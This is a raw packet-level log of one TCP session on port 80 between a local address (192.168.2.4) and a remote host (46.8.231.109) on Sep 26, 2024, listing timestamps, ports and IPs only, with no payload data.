Sep 26, 2024 19:05:17.378568888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.378586054 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.378587961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.378607988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.378626108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.379419088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.379439116 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.379462004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.379462957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.379482031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.379484892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.379494905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.379503965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.379523993 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.379528046 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.379544973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.379554033 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.379563093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.379574060 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.379581928 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.379594088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.379616976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.379620075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.379633904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.379635096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.379663944 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.379673958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.380229950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.380251884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.380276918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.380278111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.380287886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.380296946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.380307913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.380322933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.380336046 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.380342007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.380357027 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.380379915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.380388021 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.380415916 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.380899906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.380927086 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.380944014 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.380953074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.380971909 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.380990028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.381006956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.381006956 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.381017923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.381028891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.381040096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.381053925 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.381063938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.381078005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.381081104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.381095886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.381100893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.381122112 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.381128073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.381139040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.381166935 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.381877899 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.381900072 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.381933928 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.381933928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.381942034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.381953955 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.381969929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.381983042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.381989002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382009983 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382014990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382033110 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382033110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382057905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382061958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382074118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382077932 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382102013 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382107019 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382119894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382122040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382141113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382158995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382750034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382766008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382792950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382802010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382814884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382833004 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382833958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382853031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382863998 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382874012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382882118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382900953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382906914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382916927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382927895 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382941008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382946968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382963896 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382972956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.382977962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.382992029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.383013010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.383017063 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.383024931 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.383054018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.383575916 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.383590937 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.383620024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.383631945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.383637905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.383657932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.383670092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.383686066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.383688927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.383711100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.383712053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.383727074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.383755922 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.461734056 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.461752892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.461782932 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.461805105 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.461831093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.461853027 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.461869001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.461894989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.461898088 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.461916924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.461924076 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.461941957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.461941957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.461961031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.461983919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.462214947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.462229967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.462255001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.462258101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.462276936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.462277889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.462297916 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.462310076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.462321997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.462332964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.462351084 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.462352991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.462373972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.462378025 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.462392092 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.462407112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.462420940 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.462426901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.462447882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.462465048 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463010073 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463026047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463053942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463066101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463072062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463072062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463099957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463116884 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463264942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463279963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463305950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463308096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463320017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463325024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463346958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463347912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463365078 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463399887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463399887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463399887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463417053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463430882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463457108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463459015 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463470936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463485003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463496923 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463505983 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463515043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.463536978 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.463562965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.464263916 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.464282990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.464303970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.464308977 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.464325905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.464328051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.464343071 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.464348078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.464365959 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.464368105 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.464380980 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.464380980 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.464402914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.464410067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.464421034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.464427948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.464447975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.464451075 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.464461088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.464467049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.464492083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.464493036 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.464509010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.464524031 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.465046883 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.465066910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.465090990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.465091944 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.465105057 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.465127945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.513545990 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.518547058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.700970888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.700997114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701019049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701057911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701070070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701091051 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701102972 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.701108932 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701133966 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.701164961 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.701463938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701479912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701500893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701500893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.701515913 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701524973 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.701534033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701539993 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.701545000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701558113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.701567888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701576948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.701577902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701601028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.701606035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.701628923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.702220917 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.702234983 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.702256918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.702258110 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.702276945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.702282906 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.702291965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.702301025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.702311039 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.702317953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.702322960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.702334881 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.702343941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.702356100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.702356100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.702377081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.702379942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.702394962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.702404022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.702421904 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.703167915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.703185081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.703206062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.703211069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.703219891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.703236103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.703242064 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.703259945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.703262091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.703278065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.703285933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.703293085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.703303099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.703308105 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.703316927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.703330040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.703336000 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.703341007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.703351974 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.703372002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.704060078 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.704075098 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.704097986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.704098940 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.704109907 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.704123020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.704132080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.704139948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.704144955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.704158068 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.704165936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.704176903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.704180956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.704200029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.704201937 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.704214096 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.704225063 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.704232931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.704241991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.704258919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.704274893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.704972029 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.704992056 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705003977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705020905 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705025911 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705035925 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705035925 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705046892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705060959 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705064058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705073118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705080986 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705095053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705097914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705107927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705116987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705130100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705136061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705142021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705152035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705163956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:17.705171108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705188036 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705204010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:17.705786943 CEST	80	49735	46.8.231.109	192.168.2.4
